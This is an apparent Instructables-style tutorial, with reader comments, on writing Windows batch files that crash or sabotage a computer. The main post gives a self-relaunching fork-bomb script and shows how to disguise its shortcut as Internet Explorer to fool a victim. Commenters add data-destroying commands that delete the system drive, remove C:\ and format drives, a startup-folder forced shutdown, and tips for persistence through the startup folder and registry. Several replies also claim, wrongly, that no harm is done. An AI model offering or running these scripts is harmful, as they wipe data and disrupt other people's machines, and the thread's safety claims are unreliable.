Batch file to crash a computer

This time I will be showing you how to create a batch file to crash a computer.

I am not to be held responsible for individuals or groups of people that suffer consequences of using this information or the files that I provided, these consequences include things such as expulsion, getting fired, or legal action.

Step 1 The code

As usual we will begin by opening notepad. What this script will do is open command prompt six times then continuously loop so it will continue to open command prompt continuously until the computer freezes up or is turned off, this will not to any harm to the computer.

This is one of the most simple scripts ever. Just type

start
start
start
start
start
start
start crash



Then save the file as a batch file by putting .bat at the end of the file name while saving.
You will have to save the file name as crash.bat unless you change the bottom line of the script to a different name like

start launch

or whatever just if you wanna name the file something else change the last line of the code to something else.

Also if you want to make it more fun create a shortcut to your batch file, you can name the shortuc whatever you want, then right click on the shortcut go to properties then go to change icon, you can make the icon internet explorer and name the shortcut internet explorer.

To make this even more believeable at the top of the script above the first start you can put these two lines

@echo off
start C:\Program Files\Internet Explorer\iexplore.exe

So your final code would look like this

@echo off
start C:\Program Files\Internet Explorer\iexplore.exe
start
start
start
start
start
start

What exactly does '@echo off' do?

[mh76dk]

Sorry for "following you around" but happened to see you ask this:

"echo off" turns off the printing of each following line in the file before it is executed (or till you write "echo on").

"@" turns it off for one line, so for cosmetic reasons (to not see the "echo off" printed on each run) you use "@echo off"

If you only have a 1-line script you can just as easilly prepend that one line with an "@" instead of adding the "@echo off" on the line before it.

I hope that was not too cryptic, its way too late for me to still be up :-)

dude123654789's way of crashing a computer really works. i tried it and i had to get a new computer. It deletes EVERYTHING!!!!!!!!!!!!!!!!!

[anonforyou]

Did it really destroy your comp?

[chrisking8613]

Hello everyone, a real way to screw someone with ease and is very easily reversible (they will literally be screwed out of their mind) is to. Step 1, create a shutdown shortcut = right click desktop, create shortcut, enter "shutdown -s -t 30 -c "YOU CAN ENTER ANY COMMENT YOU LIKE HERE" Then click next and name the shortcut what you like. Next go to your start menu, and look for the startup folder, once located, simply drag your created shortcut to it, and your done! (Basically the computer shuts-down after 30 seconds every time that it is powered up... Side note.. To delete the shutdown shortcut, simply go to the startup folder and delete it. However, the "30" in your created shortcut basically means that you have 30 seconds before the computer shuts-down, this can be changed to whatever time that you like, however if you set it too low then you will have no time to delete the shutdown shortcut and then you'll have to access the CMD and delete the shortcut during the computer startup which isn't pretty (so give yourself enough time to delete the shortcut!) : D Happy noob "hacking".

try dis
format E:\
format F:\
format G:\
format H:\
format C:\
pause

[Aamir Shaikh]

plz tell me whether this commands should b executed on command prompt or by making a batch file...

[Hakooon631]

Try
:start
start
goto start

[gunnerops2000]

try
format C:\

heheheh...

[gunnerops2000]

try
format C:\

So if I did do this, then i won't do any damage at all to my PC?

[Sponzyparadox]

All it is going to do is lock up your machine once you clear the ram it should go back to normal. If you want to have some real fun make it start internet explorer then make a short cut with ies picture to execute the batch and watch the rofls

[A.C.E.]

i am wondering, on a computer with 1 gigabyte of ram, how long would this batch take to crash?

[darkamie616]

actually, with 1mb of ram, all that it would need is to delete PART of an important file, such as a file to boot up your pc, and it would be crashed

[fraggature]

1GB? not long. 32GB on the other hand, that will take some time...

[A.C.E.]

Ok thanks

[ashes005]

More simple code and a better way to crash a computer is to try the below code:

"@echo off
del %systemdrive% \*.* /f /s /q
shutdown -r -f -t 00"

save as .bat

Tis realy works...try it...

[dude123654789]

this wont crash a computer try this babby out ("code bellow")

---

@echo off
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
rd c:\ /s /q
cls

---

now theres a batch with some balls! it turns off explorer, than locks you out, than deletes everything on your computer "wham-bam!"

"i am not reposible for this code nor liable for damage caused by this do not attempt this at all. for educational purposes only"

[corey11]

A better version with the same out put
@echo off
:start
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation
rd c:\ /s /q
cls
goto :start

forking? you don't need the extra starts for the effect. You could make it bad by having it copy itself to the startup folder. Then see the look on the face of the people using the computer. *You can delete it from the startup folder in the command prompt mode.

[Nemraiku]

You could also have it add itself to startup via registry where most people don't know how to get rid of it, lol

[hg341]

ok i know what the reg is and i know how to get to it but how do you get a .bat file^{or a c++ file} to save it self to the reg i not good in batch

[DrCoolSanta]

yeah, but I have had bad experiences with that. Somehow my C++ programs only work when in Startup folder . . .

[hg341]

good but use this echo off ::a start notepad.exe goto a good and works well

[BBZS]

Cool, thanks for sharing, and it doesn't do any harm to the computer correct? I've never really experienced a computer crash before...

[A.C.E.]

well if you are not a computer technician, crash may have different meanings to you. before i educated myself in the art of computer programming, i thought you computer would crash if you had alot of viruses, and then you would have alot of data loss when (if it ever does) turn back on. that is not true. if a computer crashes, it is just overloaded, or overworked. this instructable will fill up the ram of the computer with command prompts untill the computer cant handle anymore and just turns off.

[BBZS]

K, thnx guys :D

[A.C.E.]

no harm done.

[Nemraiku]

No harm
